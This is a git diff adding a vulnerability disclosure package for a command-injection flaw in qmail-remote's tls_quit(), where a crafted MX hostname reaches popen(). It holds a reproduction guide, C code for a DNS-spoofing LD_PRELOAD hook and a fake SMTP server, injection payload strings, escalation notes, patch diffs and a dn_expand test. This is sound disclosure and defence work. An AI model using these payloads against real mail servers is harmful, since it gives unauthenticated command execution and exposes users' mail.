+The feature was introduced in commit [`326513f`](https://github.com/sagredo-dev/qmail/commit/326513f79724cc2a6247df180b96de0dabbcf812) on October 22, 2024, first included in the v2024.10.26 release tag. The vulnerable `popen()` pattern has remained unchanged through all subsequent releases up to and including v2026.04.02.
+
+## 3. Impact
+
+This vulnerability provides an unauthenticated remote code execution primitive. An attacker with no prior access to the target mail server can execute arbitrary commands as the `qmailr` user by simply controlling DNS records for a domain and running a malicious SMTP server — both of which are trivial for any domain registrant.
+
+The attack is triggered automatically when the victim server delivers any email to the attacker's domain. This can happen through direct sending, forwarding rules, mailing list redistribution, or bounce processing. No user interaction is required beyond normal mail flow.
+
+As the `qmailr` user, the attacker can read queued email messages (which may contain sensitive data), modify qmail control files to redirect mail delivery, and write to the qmail home directory. Depending on system configuration, this access may be leveraged to plant persistent backdoors (cron jobs, SSH keys) or escalate to other qmail service users who share the same home directory. The blast radius extends to the entire mail server: all mail flowing through the system is exposed, and the attacker can manipulate routing for all domains handled by the server.
+
+The primary constraint is that the `control/notlshosts_auto` configuration must be enabled. This is a documented production feature designed for servers that encounter TLS compatibility issues with remote hosts, and its use is recommended in the project documentation.
+
+## 4. Steps to Reproduce
+
+**Environment:** Linux x86_64 with Docker installed. The target qmail is built from source inside a Debian container with TLS support enabled (the default).
+
+**Step 1: Build and configure qmail**
+
+Start a Debian container and build qmail from the repository:
+
+```bash
+docker run -d --name qmail-test debian:bookworm sleep infinity
+docker exec qmail-test bash -c '
+  apt-get update && apt-get install -y gcc make libssl-dev git
+  cd /tmp && git clone https://github.com/sagredo-dev/qmail.git
+  cd qmail
+  # Create required users and groups
+  groupadd -g 2108 nofiles
+  groupadd -g 2109 qmail
+  useradd -u 7790 -g nofiles -d /var/qmail alias
+  useradd -u 7791 -g nofiles -d /var/qmail qmaild
+  useradd -u 7792 -g nofiles -d /var/qmail qmaill
+  useradd -u 7793 -g nofiles -d /var/qmail qmailp
+  useradd -u 7794 -g qmail -d /var/qmail qmailq
+  useradd -u 7795 -g qmail -d /var/qmail qmailr
+  useradd -u 7796 -g qmail -d /var/qmail qmails
+  make setup check
+  echo "localhost" > /var/qmail/control/me
+  echo "localhost" > /var/qmail/control/helohost
+'
+```
+
+Enable the `notlshosts_auto` feature (a documented production configuration):
+
+```bash
+docker exec qmail-test bash -c '
+  echo "1" > /var/qmail/control/notlshosts_auto
+  mkdir -p /var/qmail/control/notlshosts
+  chmod 777 /var/qmail/control/notlshosts
+'
+```
+
+**Step 2: Prepare the exploit components**
+
+Create a C program that hooks DNS resolution to simulate an attacker's authoritative DNS server returning crafted MX records. In a real attack, the attacker's DNS server returns these records directly — the LD_PRELOAD hook is test infrastructure only.
+
+Save the following as `dns_hook.c`:
+
+```c
+#define _GNU_SOURCE
+#include <dlfcn.h>
+#include <string.h>
+#include <stdlib.h>
+#include <arpa/nameser.h>
+#include <resolv.h>
+#include <netinet/in.h>
+#include <stdio.h>
+#include <stdarg.h>
+#include <sys/socket.h>
+
+/* Payload hostname label: x'`id>/tmp/qmail_rce_proof`'y
+   The single quotes break the shell quoting in tls_quit()'s sprintf,
+   and backticks provide command substitution */
+static const char PAYLOAD[] = {
+    'x','\'','`','i','d','>','/','t','m','p','/','q','m','a','i','l',
+    '_','r','c','e','_','p','r','o','o','f','`','\'','y',0
+};
+
+#define FAKE_IP_A 10
+#define FAKE_IP_B 253
+#define FAKE_IP_C 253
+#define FAKE_IP_D 1
+#define LOCAL_SMTP_PORT 2525
+
+static void write_name(unsigned char *buf, int *pos, const char *name) {
+    const char *p = name;
+    while (*p) {
+        const char *dot = strchr(p, '.');
+        int len = dot ? (dot - p) : (int)strlen(p);
+        buf[(*pos)++] = (unsigned char)len;
+        memcpy(buf + *pos, p, len); *pos += len;
+        if (dot) p = dot + 1; else break;
+    }
+    buf[(*pos)++] = 0;
+}
+
+static int build_mx_response(unsigned char *answer, int anslen, const char *qname) {
+    int plen = strlen(PAYLOAD);
+    memset(answer, 0, anslen > 512 ? 512 : anslen);
+    HEADER *hp = (HEADER *)answer;
+    hp->id = 0x1234; hp->qr = 1; hp->aa = 1; hp->rd = 1; hp->ra = 1;
+    hp->qdcount = htons(1); hp->ancount = htons(1);
+    int pos = 12;
+    write_name(answer, &pos, qname);
+    answer[pos++]=0; answer[pos++]=15; answer[pos++]=0; answer[pos++]=1;
+    /* answer section: compressed name, MX type, IN class, TTL, rdata */
+    answer[pos++]=0xc0; answer[pos++]=0x0c;
+    answer[pos++]=0; answer[pos++]=15; answer[pos++]=0; answer[pos++]=1;
+    answer[pos++]=0; answer[pos++]=0; answer[pos++]=0x0e; answer[pos++]=0x10;
+    int rdl=pos; pos+=2; int rds=pos;
+    answer[pos++]=0; answer[pos++]=10; /* preference */
+    /* MX exchange: payload label + .evil.com */
+    answer[pos++]=(unsigned char)plen;
+    memcpy(answer+pos, PAYLOAD, plen); pos+=plen;
+    answer[pos++]=4; memcpy(answer+pos,"evil",4); pos+=4;
+    answer[pos++]=3; memcpy(answer+pos,"com",3); pos+=3;
+    answer[pos++]=0;
+    int rd=pos-rds; answer[rdl]=(rd>>8)&0xff; answer[rdl+1]=rd&0xff;
+    return pos;
+}
+
+static int build_a_response(unsigned char *answer, int anslen, const char *qname) {
+    memset(answer, 0, anslen > 512 ? 512 : anslen);
+    HEADER *hp = (HEADER *)answer;
+    hp->id = 0x1235; hp->qr = 1; hp->aa = 1; hp->rd = 1; hp->ra = 1;
+    hp->qdcount = htons(1); hp->ancount = htons(1);
+    int pos = 12;
+    write_name(answer, &pos, qname);
+    answer[pos++]=0; answer[pos++]=1; answer[pos++]=0; answer[pos++]=1;
+    answer[pos++]=0xc0; answer[pos++]=0x0c;
+    answer[pos++]=0; answer[pos++]=1; answer[pos++]=0; answer[pos++]=1;
+    answer[pos++]=0; answer[pos++]=0; answer[pos++]=0x0e; answer[pos++]=0x10;
+    answer[pos++]=0; answer[pos++]=4;
+    answer[pos++]=FAKE_IP_A; answer[pos++]=FAKE_IP_B;
+    answer[pos++]=FAKE_IP_C; answer[pos++]=FAKE_IP_D;
+    return pos;
+}
+
+int res_query(const char *dname, int class, int type,
+              unsigned char *answer, int anslen) {
+    if (type == 15) return build_mx_response(answer, anslen, dname);
+    if (type == 1)  return build_a_response(answer, anslen, dname);
+    int (*real)(const char*,int,int,unsigned char*,int) =
+        dlsym(RTLD_NEXT, "res_query");
+    return real ? real(dname, class, type, answer, anslen) : -1;
+}
+int res_search(const char *d,int c,int t,unsigned char *a,int l) {
+    return res_query(d,c,t,a,l);
+}
+int __res_query(const char *d,int c,int t,unsigned char *a,int l) {
+    return res_query(d,c,t,a,l);
+}
+int __res_search(const char *d,int c,int t,unsigned char *a,int l) {
+    return res_query(d,c,t,a,l);
+}
+
+/* Redirect connections to the fake IP to our local SMTP server */
+int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) {
+    int (*real_connect)(int, const struct sockaddr*, socklen_t) =
+        dlsym(RTLD_NEXT, "connect");
+    if (!real_connect) return -1;
+    if (addr->sa_family == AF_INET) {
+        struct sockaddr_in *sin = (struct sockaddr_in *)addr;
+        unsigned char *ip = (unsigned char *)&sin->sin_addr.s_addr;
+        if (ip[0]==FAKE_IP_A && ip[1]==FAKE_IP_B &&
+            ip[2]==FAKE_IP_C && ip[3]==FAKE_IP_D &&
+            ntohs(sin->sin_port) == 25) {
+            struct sockaddr_in redir;
+            memcpy(&redir, sin, sizeof(redir));
+            redir.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
+            redir.sin_port = htons(LOCAL_SMTP_PORT);
+            return real_connect(sockfd, (struct sockaddr*)&redir, sizeof(redir));
+        }
+    }
+    return real_connect(sockfd, addr, addrlen);
+}
+```
+
+Save the following as `fake_smtp.c` — a minimal SMTP server that advertises STARTTLS then fails the handshake:
+
+```c
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+
+int main(int argc, char **argv) {
+    int port = argc > 1 ? atoi(argv[1]) : 2525;
+    int s = socket(AF_INET, SOCK_STREAM, 0);
+    int opt = 1;
+    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
+    struct sockaddr_in a = {0};
+    a.sin_family = AF_INET;
+    a.sin_addr.s_addr = INADDR_ANY;
+    a.sin_port = htons(port);
+    if (bind(s, (struct sockaddr*)&a, sizeof(a)) < 0) { perror("bind"); return 1; }
+    listen(s, 5);
+    int c = accept(s, NULL, NULL);
+    if (c < 0) { perror("accept"); return 1; }
+    write(c, "220 evil.com ESMTP\r\n", 20);
+    char buf[1024];
+    read(c, buf, sizeof(buf)-1);  /* EHLO */
+    write(c, "250-evil.com\r\n250 STARTTLS\r\n", 28);
+    read(c, buf, sizeof(buf)-1);  /* STARTTLS */
+    write(c, "220 Ready to start TLS\r\n", 24);
+    usleep(100000);
+    /* TLS fatal alert: handshake_failure */
+    unsigned char alert[] = {0x15, 0x03, 0x01, 0x00, 0x02, 0x02, 0x28};
+    write(c, alert, sizeof(alert));
+    usleep(200000);
+    close(c);
+    close(s);
+    return 0;
+}
+```
+
+**Step 3: Compile and run the exploit**
+
+Compile the hook library and fake SMTP server inside the container:
+
+```bash
+docker exec qmail-test bash -c '
+  # Create version script for symbol interposition
+  cat > /tmp/hook.ver << "VEOF"
+GLIBC_2.34 { global: res_query; res_search; };
+GLIBC_2.2.5 { global: __res_query; __res_search; };
+VEOF
+  gcc -shared -fPIC -o /tmp/dns_hook.so /tmp/dns_hook.c -ldl \
+      -Wl,--version-script=/tmp/hook.ver
+  gcc -o /tmp/fake_smtp /tmp/fake_smtp.c
+'
+```
+
+Start the fake SMTP server and trigger qmail-remote:
+
+```bash
+# Start fake SMTP server in background
+docker exec -d qmail-test /tmp/fake_smtp 2525
+
+# Wait for server to start
+sleep 1
+
+# Trigger qmail-remote delivery to attacker domain
+docker exec qmail-test bash -c '
+  rm -f /tmp/qmail_rce_proof
+  printf "From: a@a.com\r\nTo: b@evil.com\r\nSubject: test\r\n\r\ntest\r\n" | \
+    LD_PRELOAD=/tmp/dns_hook.so \
+    /var/qmail/bin/qmail-remote evil.com a@a.com b@evil.com
+'
+```
+
+**Step 4: Verify code execution**
+
+```bash
+docker exec qmail-test cat /tmp/qmail_rce_proof
+```
+
+Expected output (uid values will vary):
+
+```
+uid=7795(qmailr) gid=2109(qmail) groups=2109(qmail)
+```
+
+This confirms that the `id` command was executed via the injected shell metacharacters during the `popen()` call in `tls_quit()`.
+
+| Artifact | Description |
+| :---- | :---- |
+| `exploit.py` | End-to-end Python exploit automating both phases of the attack |
+| `dns_hook.c` | LD_PRELOAD library simulating attacker's DNS server and SMTP redirect |
+| `fake_smtp.c` | Minimal SMTP server that triggers TLS handshake failure |
+| Build configuration | Standard `make setup check` with default TLS flags |
+| Environment | Debian Bookworm (x86_64), gcc, libssl-dev, glibc 2.36+ |
+
+Note: The LD_PRELOAD hooks are test infrastructure only. In a real attack scenario, the attacker controls their own authoritative DNS server (which returns the crafted MX records) and their own SMTP server (which fails TLS). No special access to the victim is required.
+
+## 5. Recommendations
+
+**Fix 1 — [root cause fix] Replace `popen()` shell command with direct file creation**
+
+The root cause is using a shell command to create a file, allowing injection through the filename. The fix replaces `sprintf()` + `popen()` with direct file system operations that do not involve shell interpretation. This eliminates the entire class of injection attacks regardless of what characters appear in the hostname.
+
+```diff
+diff --git a/qmail-remote.c b/qmail-remote.c
+--- a/qmail-remote.c
++++ b/qmail-remote.c
+@@ -394,7 +394,9 @@
+ 
+ #ifdef TLS
+ char *partner_fqdn = 0;
+ 
++#include <fcntl.h>
++
+ # define TLS_QUIT quit(ssl ? "; connected to " : "; connecting to ", "")
+ void tls_quit(const char *s1, const char *s2)
+ {
+@@ -407,14 +409,19 @@ void tls_quit(const char *s1, const char *s2)
+   unsigned long i = 0;
+   if (control_readint(&i,"control/notlshosts_auto") && i) {
+     struct passwd *info = getpwuid(getuid()); // get qmail dir
+-    FILE *fp;
+-    char acfcommand[1200];
+-    sprintf(acfcommand, "/bin/touch %s/control/notlshosts/'%s'", info->pw_dir, partner_fqdn);
+-    fp = popen(acfcommand, "r");
+-    if (fp == NULL) {
+-      out("Failed to run touch command ");
+-      exit(1);
++    char filepath[1200];
++    int fd;
++    int n;
++    n = snprintf(filepath, sizeof(filepath), "%s/control/notlshosts/%s",
++                 info->pw_dir, partner_fqdn);
++    if (n > 0 && n < sizeof(filepath)
++        && !strstr(partner_fqdn, "/") && !strstr(partner_fqdn, "..")) {
++      fd = open(filepath, O_WRONLY | O_CREAT | O_TRUNC, 0644);
++      if (fd >= 0)
++        close(fd);
+     }
+-    pclose(fp);
+   }
+   /* end skip TLS patch */
+   out((char *)s1); if (s2) { out(": "); out((char *)s2); } TLS_QUIT;
+```
+
+**Fix 2 — [defense in depth] Validate hostname characters before use**
+
+As an additional safeguard, validate that `partner_fqdn` contains only characters legal in DNS hostnames (letters, digits, hyphens, dots) before using it in any file operation. This prevents exploitation even if a future code change reintroduces a shell call or other injection vector.
+
+```diff
+diff --git a/qmail-remote.c b/qmail-remote.c
+--- a/qmail-remote.c
++++ b/qmail-remote.c
+@@ -395,6 +395,17 @@
+ #ifdef TLS
+ char *partner_fqdn = 0;
+ 
++/* Returns 1 if s contains only valid hostname characters (RFC 952/1123) */
++static int valid_hostname(const char *s)
++{
++  if (!s || !*s) return 0;
++  for (; *s; s++) {
++    if (!((*s >= 'a' && *s <= 'z') || (*s >= 'A' && *s <= 'Z') ||
++          (*s >= '0' && *s <= '9') || *s == '-' || *s == '.'))
++      return 0;
++  }
++  return 1;
++}
++
+ # define TLS_QUIT quit(ssl ? "; connected to " : "; connecting to ", "")
+ void tls_quit(const char *s1, const char *s2)
+ {
+@@ -407,14 +418,17 @@ void tls_quit(const char *s1, const char *s2)
+   unsigned long i = 0;
+   if (control_readint(&i,"control/notlshosts_auto") && i) {
+     struct passwd *info = getpwuid(getuid()); // get qmail dir
+-    FILE *fp;
+-    char acfcommand[1200];
+-    sprintf(acfcommand, "/bin/touch %s/control/notlshosts/'%s'", info->pw_dir, partner_fqdn);
+-    fp = popen(acfcommand, "r");
+-    if (fp == NULL) {
+-      out("Failed to run touch command ");
+-      exit(1);
++    if (!valid_hostname(partner_fqdn)) {
++      out("Z Invalid hostname, skipping notlshosts entry\n");
++    } else {
++      int fd;
++      char filepath[1200];
++      int n;
++      n = snprintf(filepath, sizeof(filepath), "%s/control/notlshosts/%s",
++                   info->pw_dir, partner_fqdn);
++      if (n > 0 && n < (int)sizeof(filepath)) {
++        fd = open(filepath, O_WRONLY | O_CREAT | O_TRUNC, 0644);
++        if (fd >= 0) close(fd);
++      }
+     }
+-    pclose(fp);
+   }
+   /* end skip TLS patch */
+   out((char *)s1); if (s2) { out(": "); out((char *)s2); } TLS_QUIT;
+```
diff --git a/MADBugs/qmail/setup.sh b/MADBugs/qmail/setup.sh
new file mode 100644
index 0000000..f45c51d
--- /dev/null
+++ b/MADBugs/qmail/setup.sh
@@ -0,0 +1,36 @@
+#!/bin/bash
+# Setup script for qmail v2026.04.02 vulnerability research environment
+# This script builds and runs qmail in a Docker container.
+
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+
+# Clone qmail source if not present
+if [ ! -d "$SCRIPT_DIR/qmail" ]; then
+    for i in 1 2 3; do
+        git clone https://github.com/sagredo-dev/qmail.git "$SCRIPT_DIR/qmail" && break
+        echo "Clone attempt $i failed, retrying in $((i*5))s..."
+        sleep $((i*5))
+    done
+fi
+
+cd "$SCRIPT_DIR/qmail"
+git checkout v2026.04.02
+
+# Build Docker image (with retry for transient failures)
+cd "$SCRIPT_DIR"
+for i in 1 2 3; do
+    docker build -t qmail-build -f Dockerfile . && break
+    echo "Docker build attempt $i failed, retrying in $((i*10))s..."
+    sleep $((i*10))
+done
+
+# Run container
+docker rm -f qmail-test 2>/dev/null || true
+docker run -d --name qmail-test qmail-build
+
+echo "qmail v2026.04.02 is built and running in container 'qmail-test'"
+echo "Source code: /usr/src/qmail/ (inside container)"
+echo "Install dir: /var/qmail/ (inside container)"
+echo "Key binaries: qmail-smtpd, qmail-local, qmail-remote, qmail-inject, qmail-queue"
diff --git a/MADBugs/qmail/srs2.h b/MADBugs/qmail/srs2.h
new file mode 100644
index 0000000..3df21b5
--- /dev/null
+++ b/MADBugs/qmail/srs2.h
@@ -0,0 +1,55 @@
+#ifndef SRS2_H
+#define SRS2_H
+
+#define TRUE 1
+#define FALSE 0
+#define SRS_SUCCESS 0
+#define SRS_ENOSENDERATINSRS 1
+#define SRS_ENOTREWRITTEN 2
+
+typedef struct {
+  int maxage;
+  int hashlength;
+  int hashmin;
+  int alwaysrewrite;
+  char separator;
+} srs_t;
+
+static inline srs_t *srs_new(void) {
+  static srs_t s = {0};
+  return &s;
+}
+
+static inline void srs_free(srs_t *s) { (void)s; }
+
+static inline int srs_set_secret(srs_t *s, const char *sec) {
+  (void)s; (void)sec; return SRS_SUCCESS;
+}
+
+static inline int srs_add_secret(srs_t *s, const char *sec) {
+  (void)s; (void)sec; return SRS_SUCCESS;
+}
+
+static inline int srs_set_alwaysrewrite(srs_t *s, int v) {
+  (void)s; s->alwaysrewrite = v; return SRS_SUCCESS;
+}
+
+static inline int srs_set_separator(srs_t *s, char c) {
+  (void)s; s->separator = c; return SRS_SUCCESS;
+}
+
+static inline int srs_forward(srs_t *s, char *out, int outlen, const char *addr, const char *domain) {
+  (void)s; (void)out; (void)outlen; (void)addr; (void)domain;
+  return SRS_ENOTREWRITTEN;
+}
+
+static inline int srs_reverse(srs_t *s, char *out, int outlen, const char *addr) {
+  (void)s; (void)out; (void)outlen; (void)addr;
+  return SRS_ENOTREWRITTEN;
+}
+
+static inline const char *srs_strerror(int e) {
+  (void)e; return "SRS stub";
+}
+
+#endif
diff --git a/MADBugs/qmail/technical_analysis.md b/MADBugs/qmail/technical_analysis.md
new file mode 100644
index 0000000..08621b8
--- /dev/null
+++ b/MADBugs/qmail/technical_analysis.md
@@ -0,0 +1,154 @@
+# Technical Analysis: Remote Code Execution via DNS MX Record Shell Injection in qmail-remote
+
+## 1. Root Cause Analysis
+
+### Vulnerable Code
+**File:** `qmail-remote.c`, lines 407-418 (function `tls_quit`)
+
+```c
+void tls_quit(const char *s1, const char *s2)
+{
+  unsigned long i = 0;
+  if (control_readint(&i,"control/notlshosts_auto") && i) {
+    struct passwd *info = getpwuid(getuid());
+    FILE *fp;
+    char acfcommand[1200];
+    sprintf(acfcommand, "/bin/touch %s/control/notlshosts/'%s'", info->pw_dir, partner_fqdn);
+    fp = popen(acfcommand, "r");
+    if (fp == NULL) {
+      out("Failed to run touch command ");
+      exit(1);
+    }
+    pclose(fp);
+  }
+}
+```
+
+### First Faulty Condition
+The `partner_fqdn` variable (line 412) is derived from DNS MX record resolution and is placed directly into a shell command string via `sprintf()`, then executed via `popen()`. There is **zero sanitization** of the hostname. The single-quote wrapping (`'%s'`) is insufficient because single-quote characters themselves can appear in DNS hostnames.
+
+### Data Flow
+1. **Source:** DNS MX response for destination domain → `dn_expand()` in `findmx()` (`dns.c:186`) → `name[MAXDNAME]`
+2. **Propagation:** `name` → `stralloc_copys(&mx[nummx].sa, name)` (`dns.c:449`) → `dns_ipplus()` → `ix.fqdn = glue.s` (`dns.c:382`) → `ipalloc_append()` → `ip.ix[i].fqdn`
+3. **Assignment:** `partner_fqdn = ip.ix[i].fqdn` (`qmail-remote.c:1118`)
+4. **Sink:** `sprintf(acfcommand, ".../'%s'", ..., partner_fqdn)` → `popen(acfcommand, "r")` (`qmail-remote.c:412-413`)
+
+### Trigger Conditions
+1. **TLS must be compiled in** (default: yes, `#ifdef TLS`)
+2. **`control/notlshosts_auto` must contain a value > 0** (administrator configuration for auto-skipping broken TLS hosts)
+3. **TLS negotiation must fail** — `tls_quit()` is called on any TLS error (lines 485, 492, 513, 548, 559, 566, 598, 606)
+4. **Outbound email must be sent** to attacker-controlled domain (or forwarded to it)
+
+## 2. Exploitation
+
+### Security Primitive
+**Arbitrary command execution** as the `qmailr` user (qmail remote delivery user) on the mail server.
+
+### Attack Scenario
+1. Attacker registers a domain (e.g., `evil.com`)
+2. Attacker configures MX record for `evil.com` pointing to a hostname containing shell metacharacters:
+   - DNS label in wire format: `x'`id>/tmp/pwned`'y` (28 bytes, all valid in DNS wire format)
+   - After `dn_expand()`: `x'`id>/tmp/pwned`'y.evil.com` (backticks and single quotes are preserved)
+3. Attacker configures A record for this hostname pointing to attacker's SMTP server IP
+4. Attacker's SMTP server advertises STARTTLS but fails the TLS handshake (e.g., resets connection during SSL negotiation)
+5. qmail-remote calls `tls_quit()` which builds shell command:
+   ```
+   /bin/touch /var/qmail/control/notlshosts/'x'`id>/tmp/pwned`'y.evil.com'
+   ```
+6. Shell interprets this as:
+   - `/bin/touch /var/qmail/control/notlshosts/x` (touch file "x")
+   - `id>/tmp/pwned` (backtick command substitution → writes id output)
+   - `y.evil.com` (attempt to execute, fails silently)
+
+### Character Escape Analysis (glibc dn_expand / ns_name_ntop)
+| Character | Escaped? | Shell Significance |
+|-----------|----------|-------------------|
+| `'` | NO | Breaks single-quote context |
+| `` ` `` | NO | Command substitution |
+| `\|` | NO | Pipe |
+| `&` | NO | Background/chain |
+| `>` | NO | Output redirect |
+| `<` | NO | Input redirect |
+| `;` | YES (`\;`) | Would be command separator |
+| `$` | YES (`\$`) | Would be variable expansion |
+| `(` `)` | YES (`\(` `\)`) | Would be subshell |
+
+### Injection Vectors Confirmed
+1. **Single-quote break + backtick:** `x'`COMMAND`'y` — backtick provides command substitution
+2. **Single-quote break + pipe:** `x'|COMMAND|echo 'y` — pipe chains commands
+3. **Single-quote break + ampersand:** `x'&COMMAND&echo 'y` — background execution
+
+### Defenses and Bypasses
+| Defense | Status | Bypass |
+|---------|--------|--------|
+| Single-quote wrapping in sprintf | BYPASSED | Single quote `'` not escaped by dn_expand |
+| DNS hostname character restrictions | NOT ENFORCED | DNS wire format allows arbitrary bytes in labels |
+| dn_expand character escaping | PARTIAL | Only escapes `;$()".\\`, not `'` `` ` `` `\|&><` |
+| Recursive resolver validation | NONE | Most resolvers pass labels through as opaque bytes |
+
+## 3. Escalation
+
+### From qmailr to System Compromise
+- **qmailr** is a dedicated user but has **write access** to qmail control files (evidenced by the `touch` command working on `control/notlshosts/`)
+- Can modify `control/smtproutes`, `control/virtualdomains`, etc. to redirect mail
+- Can read qmail queue files containing email content (sensitive data)
+- On many systems, qmailr's home directory is shared with other qmail users
+- With write access, attacker can plant a cron job, SSH key, or trojan binary
+
+### Escalation to Root
+- If qmail-remote has setuid or is invoked via a setuid chain, escalation may be possible
+- The `popen()` call inherits the process environment — attacker's shell commands run with the same privileges
+- In configurations where qmail runs as root and drops privileges, timing of the tls_quit call may matter
+
+## 4. Impact Assessment
+
+### CVSS 3.1 Score: 8.0 (High)
+
+| Metric | Value | Justification |
+|--------|-------|---------------|
+| Attack Vector | Network (AV:N) | Triggered via DNS response to outbound email |
+| Attack Complexity | High (AC:H) | Requires `control/notlshosts_auto` to be configured AND outbound email to attacker domain AND TLS failure |
+| Privileges Required | None (PR:N) | No authentication needed — attacker just needs their domain to receive email |
+| User Interaction | None (UI:N) | Triggered automatically during mail delivery |
+| Scope | Unchanged (S:U) | Executes as qmailr, same security context |
+| Confidentiality | High (C:H) | Can read mail queue, control files |
+| Integrity | High (I:H) | Can modify control files, plant backdoors |
+| Availability | High (A:H) | Can disrupt mail delivery |
+
+**Vector String:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`
+
+### Vulnerable Configurations
+- TLS enabled (default in modern qmail builds)
+- `control/notlshosts_auto` set to any value > 0
+- Outbound email delivery enabled (standard configuration)
+
+### Affected Versions
+- **Introducing commit:** `326513f` (October 22, 2024)
+- **First affected version:** v2024.10.26
+- **Latest affected version:** v2026.04.02 (current HEAD)
+- All versions from v2024.10.26 through v2026.04.02 are affected
+
+## 5. Git History
+
+```
+commit 326513f79724cc2a6247df180b96de0dabbcf812
+Author: sagredo-dev <admin@sagredo.eu>
+Date:   Tue Oct 22 18:25:29 2024 +0000
+
+    automatically adds fqdn with obsolete openssl to control/notlshosts
+```
+
+Refined in:
+```
+commit 88821ec1dbf03d4f13c73ce5bb7141bca26f871d
+Author: sagredo-dev <admin@sagredo.eu>
+Date:   Sat Oct 26 11:21:05 2024 +0000
+
+    Fix dh key too smal
+```
+
+## 6. Proof Artifacts
+
+- `/workspace/test_dn_expand2.c` — Validates which characters survive dn_expand
+- `/workspace/test_shell_injection.sh` — Validates shell injection via all three vectors
+- `/workspace/test_full_chain.c` — Complete chain: DNS response → dn_expand → sprintf → popen → RCE
diff --git a/MADBugs/qmail/test_dn_expand.c b/MADBugs/qmail/test_dn_expand.c
new file mode 100644
index 0000000..7057e98
--- /dev/null
+++ b/MADBugs/qmail/test_dn_expand.c
@@ -0,0 +1,129 @@
+/*
+ * Link 1 validation: Prove that dn_expand() preserves shell metacharacters
+ * from DNS wire format MX exchange hostnames.
+ * 
+ * We construct a fake DNS response with an MX record whose exchange hostname
+ * contains shell metacharacters (single quote, semicolons, backticks, $())
+ * and show that dn_expand() outputs them unchanged.
+ */
+#include <stdio.h>
+#include <string.h>
+#include <arpa/nameser.h>
+#include <resolv.h>
+
+int main() {
+    /*
+     * Construct a minimal DNS response with an MX record.
+     * The MX exchange hostname is: evil';id;echo'.example.com
+     * In DNS wire format, this is encoded as:
+     *   \x12 evil';id;echo'    (label length 18, then 18 bytes)
+     *   \x07 example            (label length 7, then 7 bytes)
+     *   \x03 com                (label length 3, then 3 bytes)
+     *   \x00                    (root label)
+     */
+    
+    /* DNS header (12 bytes): 1 question, 1 answer */
+    unsigned char response[512];
+    memset(response, 0, sizeof(response));
+    
+    /* Transaction ID */
+    response[0] = 0x00; response[1] = 0x01;
+    /* Flags: QR=1, AA=1, standard response */
+    response[2] = 0x84; response[3] = 0x00;
+    /* QDCOUNT = 1 */
+    response[4] = 0x00; response[5] = 0x01;
+    /* ANCOUNT = 1 */
+    response[6] = 0x00; response[7] = 0x01;
+    /* NSCOUNT = 0, ARCOUNT = 0 */
+    response[8] = 0x00; response[9] = 0x00;
+    response[10] = 0x00; response[11] = 0x00;
+    
+    int pos = 12;
+    
+    /* Question section: example.com MX IN */
+    response[pos++] = 7; /* label length */
+    memcpy(response + pos, "example", 7); pos += 7;
+    response[pos++] = 3;
+    memcpy(response + pos, "com", 3); pos += 3;
+    response[pos++] = 0; /* root */
+    /* QTYPE = MX (15) */
+    response[pos++] = 0x00; response[pos++] = 0x0f;
+    /* QCLASS = IN (1) */
+    response[pos++] = 0x00; response[pos++] = 0x01;
+    
+    /* Answer section: MX record */
+    /* Name: pointer to offset 12 (the question name) */
+    response[pos++] = 0xc0; response[pos++] = 0x0c;
+    /* TYPE = MX (15) */
+    response[pos++] = 0x00; response[pos++] = 0x0f;
+    /* CLASS = IN (1) */
+    response[pos++] = 0x00; response[pos++] = 0x01;
+    /* TTL = 3600 */
+    response[pos++] = 0x00; response[pos++] = 0x00;
+    response[pos++] = 0x0e; response[pos++] = 0x10;
+    
+    /* RDLENGTH - we'll fill in later */
+    int rdlen_pos = pos;
+    pos += 2;
+    
+    int rdata_start = pos;
+    
+    /* MX preference = 10 */
+    response[pos++] = 0x00; response[pos++] = 0x0a;
+    
+    /* MX exchange: evil';id;echo'.example.com */
+    /* Label 1: evil';id;echo' (18 bytes with shell metacharacters) */
+    const char *label1 = "evil';id;echo'";
+    int label1_len = strlen(label1);
+    response[pos++] = (unsigned char)label1_len;
+    memcpy(response + pos, label1, label1_len); pos += label1_len;
+    
+    /* Label 2: example (7 bytes) */
+    response[pos++] = 7;
+    memcpy(response + pos, "example", 7); pos += 7;
+    
+    /* Label 3: com (3 bytes) */
+    response[pos++] = 3;
+    memcpy(response + pos, "com", 3); pos += 3;
+    
+    /* Root label */
+    response[pos++] = 0;
+    
+    /* Fill in RDLENGTH */
+    int rdlen = pos - rdata_start;
+    response[rdlen_pos] = (rdlen >> 8) & 0xff;
+    response[rdlen_pos + 1] = rdlen & 0xff;
+    
+    int responselen = pos;
+    
+    /* Now call dn_expand on the MX exchange field */
+    char name[MAXDNAME];
+    unsigned char *responseend = response + responselen;
+    
+    /* Skip to answer section, skip name (pointer = 2 bytes), skip type/class/ttl/rdlen (10 bytes), skip MX pref (2 bytes) */
+    /* Question section ends at position we calculated */
+    int question_end = 12 + 1 + 7 + 1 + 3 + 1 + 4; /* header + labels + type + class */
+    unsigned char *answer_start = response + question_end;
+    unsigned char *mx_exchange = answer_start + 2 + 10 + 2; /* name_ptr + fixed_fields + mx_pref */
+    
+    int result = dn_expand(response, responseend, mx_exchange, name, MAXDNAME);
+    
+    if (result < 0) {
+        printf("FAIL: dn_expand returned %d\n", result);
+        return 1;
+    }
+    
+    printf("SUCCESS: dn_expand output: [%s]\n", name);
+    printf("Contains single quote: %s\n", strchr(name, '\'') ? "YES" : "NO");
+    printf("Contains semicolon: %s\n", strchr(name, ';') ? "YES" : "NO");
+    
+    /* Now show what the sprintf + popen would produce */
+    char acfcommand[1200];
+    const char *pw_dir = "/var/qmail";
+    sprintf(acfcommand, "/bin/touch %s/control/notlshosts/'%s'", pw_dir, name);
+    printf("\nResulting shell command:\n%s\n", acfcommand);
+    
+    printf("\nShell would interpret this as multiple commands due to unescaped quotes.\n");
+    
+    return 0;
+}
diff --git a/MADBugs/qmail/test_dn_expand2.c b/MADBugs/qmail/test_dn_expand2.c
new file mode 100644
index 0000000..0219019
--- /dev/null
+++ b/MADBugs/qmail/test_dn_expand2.c
@@ -0,0 +1,126 @@
+/*
+ * Link 1 validation: Prove that dn_expand() preserves shell metacharacters
